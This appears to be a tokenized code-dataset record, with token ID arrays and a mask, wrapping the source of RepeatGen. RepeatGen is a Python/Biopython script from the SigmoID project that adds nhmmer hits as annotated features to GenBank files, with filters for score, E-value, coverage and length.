[ 1898, 6927, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 17473, 282, 32246, 402, 2243, 315, 22990, 4079, 641, 28173, 14, 199, 199, 2390, 3163, 12, 642, 911, 506, 4079, 641, 28173, 63, 5029, 14, 199, 624, 199, 3, 4287, 26, 3507, 29, 8618, 13, 2094, 199, 199, 646, 5055, 199, 646, 15502, 199, 646, 7975, 199, 646, 2050, 199, 646, 12866, 199, 646, 747, 199, 646, 15454, 199, 646, 295, 199, 646, 5145, 199, 646, 984, 199, 646, 5549, 199, 646, 900, 199, 646, 10392, 199, 199, 646, 29219, 14, 6238, 63, 4405, 199, 504, 29219, 492, 2088, 63, 3676, 199, 504, 29219, 492, 5262, 199, 504, 29219, 492, 2243, 63, 4653, 199, 504, 29219, 14, 5559, 492, 790, 1430, 199, 504, 29219, 14, 1782, 492, 28173, 63, 5029, 199, 504, 29219, 14, 1782, 492, 20419, 199, 504, 29219, 14, 1782, 492, 2243, 63, 22126, 199, 504, 29219, 14, 1782, 492, 2243, 63, 2550, 199, 504, 29219, 14, 1782, 492, 21020, 199, 504, 29219, 14, 1782, 492, 943, 3385, 63, 7157, 199, 504, 29219, 14, 1782, 14, 4405, 492, 3907, 63, 4405, 199, 504, 29219, 14, 9277, 492, 3715, 63, 2416, 199, 504, 29219, 14, 1208, 492, 31528, 63, 3676, 199, 504, 29219, 14, 1208, 492, 1300, 63, 705, 199, 504, 29219, 14, 1208, 492, 2243, 63, 808, 63, 493, 199, 504, 29219, 14, 1208, 492, 1591, 63, 1208, 199, 504, 29219, 14, 1208, 492, 6128, 21, 1838, 199, 504, 29219, 14, 1208, 492, 30042, 28952, 199, 504, 29219, 14, 1208, 492, 2653, 63, 7154, 199, 504, 29219, 14, 1208, 492, 3482, 63, 1208, 199, 199, 63, 3472, 63, 8899, 275, 4233, 199, 63, 3472, 63, 32528, 275, 650, 199, 199, 3, 437, 13792, 909, 367, 849, 1338, 199, 3, 3254, 8, 74, 464, 68, 269, 2000, 12, 321, 25409, 27764, 304, 295, 5427, 4212, 849, 1338, 787, 8860, 701, 199, 3, 314, 2653, 63, 7154, 20419, 14, 199, 3472, 275, 909, 342, 199, 199, 63, 13060, 63, 5901, 39, 1206, 63, 28442, 275, 359, 523, 469, 272, 327, 653, 476, 527, 841, 272, 283, 22179, 63, 493, 356, 1994, 1274, 15, 578, 15, 7073, 1407, 2025, 63, 1560, 836, 15, 3214, 15, 7011, 297, 272, 283, 4296, 63, 1531, 356, 283, 7878, 378, 690, 1182, 1274, 15, 578, 15, 7073, 1407, 2025, 63, 1560, 836, 15, 3214, 15, 7011, 297, 272, 283, 5993, 63, 1531, 356, 267, 283, 7878, 413, 690, 1182, 1274, 15, 578, 15, 7073, 1407, 2025, 63, 1560, 836, 15, 3214, 15, 7011, 297, 523, 1660, 523, 469, 272, 327, 653, 476, 527, 959, 272, 327, 13510, 314, 869, 5357, 4546, 402, 314, 330, 81, 1194, 5756, 14486, 314, 1495, 836, 370, 5965, 3686, 272, 327, 12304, 17262, 687, 28655, 14, 13510, 314, 7074, 63, 8621, 590, 26302, 2951, 7029, 314, 272, 327, 14694, 2656, 370, 16806, 626, 14, 272, 283, 22179, 63, 493, 356, 1994, 1274, 15, 4989, 15, 1757, 15, 23907, 1194, 5756, 15, 7321, 63, 12447, 63, 5801, 297, 272, 283, 4296, 63, 1531, 356, 334, 267, 283, 7878, 378, 88, 20, 33, 690, 1182, 1274, 15, 4989, 15, 1757, 15, 23907, 1194, 5756, 15, 7321, 63, 12447, 63, 5801, 10883, 283, 267, 283, 7878, 413, 690, 1182, 1274, 15, 533, 15, 5652, 63, 8621, 590, 15, 17411, 15, 15178, 659, 272, 283, 5993, 63, 1531, 356, 334, 267, 283, 7878, 378, 88, 3263, 690, 1182, 1274, 15, 4989, 15, 1757, 15, 23907, 1194, 5756, 15, 7321, 63, 12447, 63, 5801, 10883, 283, 267, 283, 11693, 5049, 20, 1182, 1274, 15, 533, 15, 5652, 63, 8621, 590, 15, 17411, 15, 15178, 10883, 283, 267, 283, 7878, 378, 690, 1182, 1274, 15, 533, 15, 5652, 63, 8621, 590, 15, 17411, 15, 15178, 659, 523, 1660, 199, 61, 421, 199, 32, 11582, 14, 3007, 26090, 6372, 3325, 32720, 8, 272, 485, 3472, 63, 8899, 12, 485, 3472, 63, 32528, 9, 199, 318, 2372, 6087, 26606, 837, 523, 408, 3407, 282, 769, 402, 14694, 13311, 12272, 83, 14, 819, 1803, 26, 272, 437, 769, 3035, 314, 7526, 437, 26197, 83, 14, 523, 408, 523, 2385, 275, 2088, 63, 3676, 14, 1002, 7874, 2959, 779, 489, 747, 14, 515, 14, 904, 8, 5559, 14, 25658, 63, 14939, 63, 5441, 12, 283, 2537, 297, 283, 6238, 659, 489, 283, 513, 297, 283, 1214, 68, 13227, 7644, 342, 523, 2289, 795, 275, 942, 523, 367, 1004, 315, 2385, 26, 272, 340, 283, 985, 4881, 440, 315, 1004, 26, 489, 1980, 272, 790, 12, 574, 275, 334, 83, 14, 1913, 342, 367, 308, 315, 1004, 14, 1294, 16451, 413, 430, 272, 340, 790, 508, 283, 985, 356, 489, 2289, 795, 14, 740, 8, 585, 9, 523, 372, 2289, 795, 421, 199, 32, 11582, 14, 3007, 26090, 6372, 3325, 32720, 8, 272, 485, 3472, 63, 8899, 12, 485, 3472, 63, 32528, 9, 199, 318, 799, 928, 3120, 837, 523, 408, 497, 17116, 314, 28173, 1654, 14, 819, 6218, 26, 272, 5817, 4276, 547, 340, 781, 2449, 370, 14561, 503, 11004, 314, 1654, 14, 523, 408, 523, 347, 28173, 63, 75, 14535, 837, 272, 372, 440, 28173, 63, 5029, 14, 33, 697, 4590, 14, 1831, 3120, 28587, 342, 819, 347, 28173, 63, 8924, 837, 272, 372, 28173, 63, 5029, 14, 33, 697, 4590, 14, 1831, 3120, 28587, 342, 819, 28173, 63, 5029, 14, 33, 697, 4590, 14, 31464, 3120, 342, 523, 340, 440, 2653, 63, 7154, 14, 21433, 8, 13741, 63, 75, 14535, 12, 3618, 63, 5191, 29, 17, 12, 1390, 63, 6264, 29, 21, 304, 272, 327, 3254, 8, 321, 25409, 27764, 304, 746, 376, 1919, 2410, 5325, 2753, 1455, 921, 1556, 1266, 14, 957, 15, 1602, 1789, 1167, 272, 2050, 14, 3764, 360, 4276, 370, 14561, 28173, 1654, 358, 523, 28173, 63, 5029, 14, 33, 697, 4590, 14, 3162, 3120, 342, 523, 340, 440, 2653, 63, 7154, 14, 21433, 8, 13741, 63, 8924, 12, 3618, 63, 5191, 29, 17, 12, 1390, 63, 6264, 29, 21, 304, 272, 746, 2243, 63, 2550, 14, 3110, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
nikolaichik/SigmoID
Python/RepeatGen.py
1
23652
import sys import argparse from time import process_time import Bio from Bio.SeqFeature import FeatureLocation from Bio.SeqFeature import SeqFeature from decimal import * class MySeqFeature(SeqFeature): def __str__(self): out = "type: %s\n" % self.type if self.strand == 1: out += "location: [%s:%s](%s)\n" % (self.location.start+1, self.location.end, '+') if self.strand == -1: out += "location: [%s:%s](%s)\n" % (self.location.start+1, self.location.end, '-') if self.id and self.id != "<unknown id>": out += "id: %s\n" % self.id out += "qualifiers:\n" for qual_key in sorted(self.qualifiers): out += " Key: %s, Value: %s\n" % (qual_key, self.qualifiers[qual_key]) if Bio.__version__ != '1.68': # to avoid problems with diff biopython versions if not hasattr(self, "_sub_features"): self._sub_features = [] if len(self._sub_features) != 0: out += "Sub-Features\n" for sub_feature in self._sub_features: out += "%s\n" % sub_feature return out def is_within_feature(list_of_features, index, some_hit): # 'index' is for feature's index within 'list_of_features' if (list_of_features[index].location.start < some_hit.location.start < list_of_features[index].location.end or list_of_features[index].location.start < some_hit.location.end < list_of_features[index].location.end) or \ (list_of_features[index].location.start < some_hit.location.start < some_hit.location.end < list_of_features[index+1].location.start and \ list_of_features[index].strand == +1 and \ list_of_features[index].strand != list_of_features[index+1].strand): # checking if hit is within other features or is between two convergent ones. return True else: return False def is_within_boundary(list_of_features, index, some_hit): for feature in list_of_features[index:]: if (feature.location.start - list_of_features[index].location.end) < (enter.boundary+1): if (list_of_features[index].location.start+enter.boundary > \ some_hit.location.end > \ list_of_features[index].location.start and \ list_of_features[index].strand == +1) or \ (list_of_features[index].location.end-enter.boundary < \ some_hit.location.start < \ list_of_features[index].location.end and \ list_of_features[index].strand == -1): return True else: return False else: return False def qualifiers_function(qualifiers, var): qual_var = [] for some_qualifier in qualifiers: if any(symbol == '#' for symbol in some_qualifier): qual_var.append(some_qualifier.split('#')) else: sys.exit('Please check your general qualifiers typing') for number in range(len(qual_var)): value_list = [] for index in range(len(qual_var)): if qual_var[number][0] == qual_var[index][0] and \ qual_var[index][1] not in value_list: value_list.append(qual_var[index][1]) var[qual_var[number][0]] = value_list return var def nhmm_parser(path_to_file, max_model_length): x = [] try: a = open(path_to_file, 'r') except IOError: sys.exit('Open error! Please check your nhmmer report input file!') r = a.readlines() b = [] d = [] e = [] for index in range(len(r)): d.append([]) if not r[index].startswith('#') or r[index].startswith('\n'): item = r[index].split(' ') if len(item) >= 2: for part in item: if part != '' and len(part) != 0: part = part.replace('\n', '') d[index].append(part) for index in range(len(d)): if len(d[index]) != 0: b.append(d[index]) for index in range(len(b)): if len(b[index]) <= 10: for number in range(len(b[index])): b[index+1].insert(number, b[index][number]) for index in range(len(b)): if len(b[index]) > 10: e.append(b[index]) for item in e: for num_of_spaces in range(len(e[0])): # to avoid problems with additional spaces... e[0] - firstly \ # splitted string by ' ' try: x.append([item[8+num_of_spaces], item[9+num_of_spaces], int(item[11+num_of_spaces]+'1'), float(item[12+num_of_spaces]), float(item[13+num_of_spaces]), item[0+num_of_spaces], item[1+num_of_spaces], int(item[4+num_of_spaces]), int(item[5+num_of_spaces]), int(item[6+num_of_spaces]), int(item[7+num_of_spaces]) ]) if max_model_length is False: max_model_length = int(item[5+num_of_spaces]) elif max_model_length is not False and \ int(item[5+num_of_spaces]) > max_model_length: max_model_length = int(item[5+num_of_spaces]) else: pass except ValueError: pass else: break return [x, max_model_length] def nhmm_prog(path_to_file, e): a = open(path_to_file, 'r') r = a.readlines() prog_list = [] for prog_line in r: if prog_line.startswith('# Program:') or \ prog_line.startswith('# Version:'): prog_list.append(prog_line) prog_list = [item.split(' ') for item in prog_list] for item in prog_list: for piece in item: if piece != '': e.append(piece) return def sorting_output_features(lst): bit_score_list = [] for some_feature in lst: for key in some_feature.qualifiers.keys(): if key == 'note': temp = some_feature.qualifiers[key] temp = temp.split(' ') bit_score_list.append(float(temp[-3])) return bit_score_list def score_parser(some_feature): for key in some_feature.qualifiers.keys(): if key == 'note' and type(some_feature.qualifiers['note']) != list: temp = some_feature.qualifiers[key] temp = temp.split(' ') bit_score = float(temp[-3]) return bit_score elif key == 'note' and type(some_feature.qualifiers['note']) == list: for note in some_feature.qualifiers['note']: if note.startswith('nhmmer'): temp = note temp = temp.split(' ') bit_score = float(temp[-3]) return bit_score def output(score_list, output_features): for val in score_list: for some_feature in output_features: if val == feature_score(some_feature): print (some_feature) output_features = [f for f in output_features if f != some_feature] def feature_score(some_feature): for key in some_feature.qualifiers.keys(): if key == 'note' and type(some_feature.qualifiers[key]) != []: temp = some_feature.qualifiers[key] temp = temp.split(' ') return float(temp[-3]) def dna_topology(path, topo_list): # This function deals with with DNA topology problem in biopython # for more detail: https://github.com/biopython/biopython/issues/363 infile = open(path, 'r') loci_counter = -1 # because 1 is 0 in python lines = infile.readlines() for numline in range(len(lines)): if lines[numline].startswith('LOCUS'): loci_counter += 1 lines[numline] = topo_list[loci_counter] infile.close() return lines def createparser(): parser = argparse.ArgumentParser( prog='RepeatGen', usage='\n%(prog)s <report_file> <input_file> <output_file> [options]', description='''This script allows to add features to a genbank \ file according to nhmmer results.\ Requires Biopython 1.64 (or newer)''', epilog='(c) Aliaksandr Damienikan, 2018.') parser.add_argument('report_file', help='path to nhmmer report file produced with \ -tblout option.') parser.add_argument('input_file', help='path to input Genbank file.') parser.add_argument('output_file', help='path to output Genbank file.') parser.add_argument('-L', '--length', default=False, help='annotate features of specified length (range of lengths).', metavar='<int>/<int:int>', required=False, type=str) parser.add_argument('-q', '--qual', default='', metavar='<key#"value">', nargs='*', dest='qual', help='''add this qualifier to each annotated \ feature.''') parser.add_argument('-p', '--palindromic', action='store_const', const=True, default=False, help='''filter palindromic repeats.''') parser.add_argument('-E', '--eval', default=False, type=float, metavar='<float or integer>', help='''threshold E-Value.''') parser.add_argument('-S', '--score', default=False, type=float, metavar='<float or integer>', help='''threshold Bit Score.''') parser.add_argument('-c', '--coverage', default=0.5, type=float, metavar='<float>', help='''minimal coverage for input model (default is 0.5)''') parser.add_argument('-i', '--insert', action='store_const', const=True, default=False, help='''don't add features inside CDS.''') parser.add_argument('-a', '--alilen', type=int, default=False, metavar='<integer>', help='''set profile alignment length (the largest hmm_to if not specified).''') parser.add_argument('-b', '--boundary', type=int, default=0, metavar='<integer>', help='''set allowed length boundary for hits being within features.''') parser.add_argument('-d', '--duplicate', action='store_const', const=True, default=False, help='''no duplicate features with the same location \ and the same rpt_family qualifier value.''') parser.add_argument('-v', '--version', action='version', version='%(prog)s 1.3 (April 6, 2021)') parser.add_argument('-f', '--feature', metavar='<"feature key">', default='unknown type', help='''feature key to add (promoter, protein_bind \ etc.)''') return parser t_start = process_time() args = createparser() enter = args.parse_args() arguments = sys.argv[1:0] max_eval = enter.eval if enter.length is not False: enter.length = enter.length.split(':') if len(enter.length) == 1: enter.min_length = False enter.max_length = int(enter.length[0]) else: enter.min_length = int(enter.length[0]) enter.max_length = int(enter.length[1]) if not 0 <= enter.coverage <= 1: sys.exit('Coverage value is invalid, please specify values in 0.0-1.0 range') try: from Bio import SeqIO except ImportError: sys.exit('\nYou have no Biopython module installed!\n\ You can download it here for free: \ http://biopython.org/wiki/Download\n') try: input_handle = open(enter.input_file, 'r') except IOError: sys.exit('Open error! Please check your genbank input file!') circular_vs_linear = [] for line in input_handle.readlines(): if line.startswith('LOCUS'): circular_vs_linear.append(line) input_handle.close() input_handle = open(enter.input_file, 'r') if enter.input_file == enter.output_file: sys.exit('Sorry, but we can\'t edit input file. Plese give another name \ to output file!') try: output_handle = open(enter.output_file, 'w') except IOError: sys.exit('Open error! Please check your genbank output path!') print ('\nRepeatGen 1.0 (January 6, 2018)') print ("="*50) print ('Options used:\n') for arg in range(1, len(sys.argv)): print (sys.argv[arg]) file_path = enter.report_file qualifier = {'CHECK': 'CHECKED!'} qualifiers_function(enter.qual, qualifier) prog = [] maxlen = 0 parser_result = nhmm_parser(file_path, maxlen) allign_list = parser_result[0] if enter.alilen is False: model_length = parser_result[1] # if allignment length is not specified, maximal observed hmm_to is used else: model_length = enter.alilen nhmm_prog(file_path, prog) prog[2] = prog[2].replace('\r', '') records = SeqIO.parse(input_handle, 'genbank') allowed_types = ['CDS', 'ncRNA', 'sRNA', 'tRNA', 'misc_RNA'] total = 0 for record in records: print ('\n' + "-"*50 + "\nCONTIG: " + record.id) print ('\n FEATURES ADDED: \n') allowed_features_list = [] for feature in record.features: if feature.type in allowed_types: allowed_features_list.append(feature) try: cds_loc_start = allowed_features_list[0] except: cds_loc_start = record.features[0] try: cds_loc_end = allowed_features_list[-1] except: cds_loc_end = record.features[-1] for allign in allign_list: from Bio import SeqFeature if allign[2] == +1: env_start = int(allign[0]) #env_from env_end = int(allign[1]) #env_to strnd = int(allign[2]) e_value = float(allign[3]) score = allign[4] locus = allign[5] version = allign[6] hmm_from = allign[7] hmm_to = allign[8] hmm_diff = hmm_to - hmm_from getcontext().prec = 4 hmm_coverage = Decimal((hmm_diff+1))/Decimal(model_length) ali_start = allign[9] ali_end = allign[10] ali_diff = ali_end - ali_start else: env_start = int(allign[1]) #env_to env_end = int(allign[0]) #env_from strnd = int(allign[2]) e_value = float(allign[3]) score = allign[4] locus = allign[5] version = allign[6] hmm_from = allign[7] hmm_to = allign[8] hmm_diff = hmm_to - hmm_from getcontext().prec = 4 hmm_coverage = Decimal((hmm_diff+1))/Decimal(model_length) ali_start = allign[10] ali_end = allign[9] ali_diff = ali_end - ali_start start_pos = SeqFeature.ExactPosition(env_start-1) end_pos = SeqFeature.ExactPosition(env_end) feature_length = env_end - (env_start-1) feature_location = FeatureLocation(start_pos, end_pos) feature_type = enter.feature from Bio.SeqFeature import SeqFeature note_qualifier = dict() note_qualifier['note'] = str('%s score %s E-value %s' % (prog[2].replace('\n', ''), score, e_value)) my_feature = MySeqFeature( location=feature_location, type=feature_type, strand=strnd, qualifiers=dict(list(qualifier.items()) + list(note_qualifier.items()))) if Decimal(hmm_coverage) >= Decimal(enter.coverage) and \ ( (enter.min_length != 0 and enter.min_length <= feature_length <= enter.max_length) or \ (enter.min_length == False and feature_length == enter.max_length) \ ) and \ (score >= enter.score or enter.score is False): for i in reversed(range(len(record.features))): if record.features[i].location.start < \ my_feature.location.start and \ (enter.eval is False or e_value <= enter.eval or enter.score is not False): for c in range(len(allowed_features_list)-1): if allowed_features_list[c].location.start <= \ my_feature.location.start <= \ allowed_features_list[c+1].location.start: record.features.insert(i+1, my_feature) break break if i == 0 and \ record.features[i].location.start > \ my_feature.location.start: record.features.insert(i, my_feature) break if i == len(record.features)-1 and \ record.features[i].location.start < \ my_feature.location.start: record.features.insert(i+1, my_feature) break repeats = [] for feature in record.features: if 'rpt_family' in feature.qualifiers.keys(): if (feature.qualifiers['rpt_family'] == qualifier['rpt_family'] and \ enter.duplicate is True) or enter.duplicate is False: repeats.append([feature, record.features.index(feature)]) if enter.insert: hit_list = [] for i in range(len(record.features)): if 'CHECK' in record.features[i].qualifiers.keys(): hit_list.append(record.features[i]) for i in reversed(range(len(hit_list))): i = len(hit_list)-1-i for n in range(len(allowed_features_list)-1): if ( is_within_feature(allowed_features_list, n, hit_list[i]) and \ not is_within_boundary(allowed_features_list, n, hit_list[i]) ) or \ wrong_promoter_strand(allowed_features_list[n], hit_list[i], allowed_features_list[n+1]): hit_list.pop(i) break for i in reversed(range(len(record.features))): if 'CHECK' in record.features[i].qualifiers.keys() and \ not any(record.features[i] == hit for hit in hit_list): record.features.pop(i) if enter.palindromic: del_counter = 0 deleted = [] for feature in repeats: if feature not in deleted: for n in range(repeats.index(feature)+1, len(repeats)): further = repeats[n][0] if further.location.strand != feature[0].location.strand and \ 0 <= (further.location.start-feature[0].location.start) <= 2 and \ 0 <= (further.location.end-feature[0].location.end) <= 2 and \ 'CHECK' in record.features[feature[1]-del_counter].qualifiers.keys(): del record.features[feature[1]-del_counter] del_counter += 1 deleted.append(feature) elif enter.duplicate is True: if further.location.strand != feature[0].location.strand and \ 0 <= (further.location.start-feature[0].location.start) <= 2 and \ 0 <= (further.location.end-feature[0].location.end) <= 2 and \ 'CHECK' not in record.features[feature[1]-del_counter].qualifiers.keys() and \ 'CHECK' in record.features[repeats[n][1]-del_counter].qualifiers.keys(): del record.features[repeats[n][1]-del_counter] del_counter += 1 deleted.append(further) if enter.duplicate is True and \ 'rpt_family' in qualifier.keys(): repeats = [] del_counter = 0 for feature in record.features: if 'rpt_family' in feature.qualifiers.keys(): if feature.qualifiers['rpt_family'] == qualifier['rpt_family']: repeats.append([feature, record.features.index(feature)]) for repeat in repeats: for n in range(repeats.index(repeat)+1, len(repeats)): further_repeat = repeats[n][0] if 0 <= (further_repeat.location.start - repeat[0].location.start) <= 2 and \ 0 <= (further_repeat.location.end - repeat[0].location.end) <= 2 and \ repeat[0].qualifiers['rpt_family'] == further_repeat.qualifiers['rpt_family']: if score_parser(repeat[0]) >= \ score_parser(further_repeat): del record.features[repeat[1]-del_counter] elif score_parser(repeat[0]) < \ score_parser(further_repeat): del record.features[repeats[n][0]-del_counter] del_counter += 1 break output_features = [] for feature in record.features: if 'CHECK' in feature.qualifiers.keys(): del feature.qualifiers['CHECK'] output_features.append(feature) score_list = sorting_output_features(output_features) score_list.sort() output(score_list, output_features) print ('\nFeatures added:', len(output_features)) print ('\n' + "-"*50) SeqIO.write(record, output_handle, 'genbank') total += int(len(output_features)) output_handle.close() newlines = dna_topology(enter.output_file, circular_vs_linear) new_output_file = open(enter.output_file, 'w') new_output_file.writelines(newlines) new_output_file.close() input_handle.close() t_end = process_time() print ('Total features: ', total) print ('CPU time: {0:.3f} sec'.format(t_end-t_start)) print ('\n' + "="*50)
gpl-3.0
[ 646, 984, 199, 646, 7534, 199, 504, 900, 492, 2112, 63, 521, 199, 646, 699, 2308, 199, 504, 699, 2308, 14, 11205, 5968, 492, 13407, 6592, 199, 504, 699, 2308, 14, 11205, 5968, 492, 28534, 5968, 199, 504, 6107, 492, 627, 421, 199, 533, 4932, 11205, 5968, 8, 11205, 5968, 304, 272, 347, 636, 495, 721, 277, 304, 267, 734, 275, 298, 466, 26, 450, 83, 60, 78, 2, 450, 291, 14, 466, 267, 340, 291, 14, 30964, 508, 413, 26, 288, 734, 847, 298, 1985, 26, 8978, 83, 2689, 83, 61, 4042, 83, 2862, 78, 2, 450, 334, 277, 14, 1985, 14, 928, 11, 17, 12, 6059, 291, 14, 1985, 14, 500, 12, 6681, 358, 267, 340, 291, 14, 30964, 508, 446, 17, 26, 288, 734, 847, 298, 1985, 26, 8978, 83, 2689, 83, 61, 4042, 83, 2862, 78, 2, 450, 334, 277, 14, 1985, 14, 928, 11, 17, 12, 6059, 291, 14, 1985, 14, 500, 12, 26942, 267, 340, 291, 14, 344, 436, 291, 14, 344, 1137, 3886, 5187, 1305, 30, 582, 288, 734, 847, 298, 344, 26, 450, 83, 60, 78, 2, 450, 291, 14, 344, 267, 734, 847, 298, 537, 26765, 3427, 78, 2, 267, 367, 6420, 63, 498, 315, 3355, 8, 277, 14, 537, 26765, 304, 288, 734, 847, 298, 2606, 26, 450, 83, 12, 1594, 26, 450, 83, 60, 78, 2, 450, 334, 537, 63, 498, 12, 6343, 291, 14, 537, 26765, 59, 537, 63, 498, 566, 267, 340, 699, 2308, 855, 1023, 363, 1137, 283, 17, 14, 2333, 356, 327, 370, 5126, 8826, 543, 3915, 12111, 927, 898, 5459, 288, 340, 440, 2688, 8, 277, 12, 2668, 954, 63, 3179, 2349, 355, 291, 423, 954, 63, 3179, 275, 942, 288, 340, 822, 8, 277, 423, 954, 63, 3179, 9, 1137, 378, 26, 355, 734, 847, 298, 2610, 13, 10807, 60, 78, 2, 355, 367, 1007, 63, 4445, 315, 291, 423, 954, 63, 3179, 26, 490, 734, 847, 2071, 83, 60, 78, 2, 450, 1007, 63, 4445, 267, 372, 734, 421, 199, 318, 365, 63, 12541, 63, 4445, 8, 513, 63, 1618, 63, 3179, 12, 1478, 12, 2005, 63, 12948, 304, 272, 327, 283, 1080, 7, 365, 367, 3878, 1159, 1478, 4453, 283, 513, 63, 1618, 63, 3179, 7, 272, 340, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 665, 267, 2005, 63, 12948, 14, 1985, 14, 928, 665, 267, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 503, 267, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 665, 267, 2005, 63, 12948, 14, 1985, 14, 500, 665, 267, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 9, 503, 971, 267, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 665, 288, 2005, 63, 12948, 14, 1985, 14, 928, 665, 1467, 2005, 63, 12948, 14, 1985, 14, 500, 665, 288, 769, 63, 1618, 63, 3179, 59, 1080, 11, 17, 1055, 1985, 14, 928, 436, 971, 288, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 508, 435, 17, 436, 971, 288, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 1137, 8892, 769, 63, 1618, 63, 3179, 59, 1080, 11, 17, 1055, 30964, 304, 267, 327, 7907, 340, 9793, 365, 4453, 1163, 4534, 503, 365, 3382, 2877, 3818, 12069, 7869, 14, 267, 372, 715, 272, 587, 26, 267, 372, 756, 421, 199, 318, 365, 63, 12541, 63, 9891, 8, 513, 63, 1618, 63, 3179, 12, 1478, 12, 2005, 63, 12948, 304, 272, 367, 3878, 315, 769, 63, 1618, 63, 3179, 59, 1080, 10688, 267, 340, 334, 4445, 14, 1985, 14, 928, 446, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 9, 665, 334, 4200, 14, 9891, 11, 17, 304, 288, 340, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 11, 4200, 14, 9891, 690, 971, 2116, 2005, 63, 12948, 14, 1985, 14, 500, 690, 971, 2116, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 436, 971, 2116, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 508, 435, 17, 9, 503, 971, 2151, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 13, 4200, 14, 9891, 665, 971, 1993, 2005, 63, 12948, 14, 1985, 14, 928, 665, 971, 1993, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 436, 971, 1993, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 508, 446, 17, 304, 355, 372, 715, 288, 587, 26, 355, 372, 756, 267, 587, 26, 288, 372, 756, 421, 199, 318, 6420, 26765, 63, 1593, 8, 537, 26765, 12, 2729, 304, 272, 6420, 63, 1391, 275, 942, 272, 367, 2005, 63, 27005, 315, 6420, 26765, 26, 267, 340, 1263, 8, 5155, 508, 19619, 367, 5272, 315, 2005, 63, 27005, 304, 288, 6420, 63, 1391, 14, 740, 8, 3972, 63, 27005, 14, 1294, 7863, 1333, 267, 587, 26, 288, 984, 14, 2224, 360, 8254, 1104, 2195, 8605, 6420, 26765, 14090, 358, 272, 367, 1329, 315, 1425, 8, 552, 8, 537, 63, 1391, 2298, 267, 574, 63, 513, 275, 942, 267, 367, 1478, 315, 1425, 8, 552, 8, 537, 63, 1391, 2298, 288, 340, 6420, 63, 1391, 59, 1955, 1527, 16, 61, 508, 6420, 63, 1391, 59, 1080, 1527, 16, 61, 436, 971, 1169, 6420, 63, 1391, 59, 1080, 1527, 17, 61, 440, 315, 574, 63, 513, 26, 355, 574, 63, 513, 14, 740, 8, 537, 63, 1391, 59, 1080, 1527, 17, 566, 355, 2729, 59, 537, 63, 1391, 59, 1955, 1527, 16, 2677, 275, 574, 63, 513, 272, 372, 2729, 421, 199, 318, 302, 72, 596, 63, 2087, 8, 515, 63, 475, 63, 493, 12, 1390, 63, 1238, 63, 1267, 304, 272, 671, 275, 942, 272, 862, 26, 267, 282, 275, 1551, 8, 515, 63, 475, 63, 493, 12, 283, 82, 358, 272, 871, 5925, 26, 267, 984, 14, 2224, 360, 4299, 1125, 1, 7754, 1104, 2195, 302, 14038, 2626, 3622, 1324, 570, 10916, 272, 519, 275, 282, 14, 9684, 342, 272, 330, 275, 942, 272, 366, 275, 942, 272, 325, 275, 942, 272, 367, 1478, 315, 1425, 8, 552, 8, 82, 2298, 267, 366, 14, 740 ]
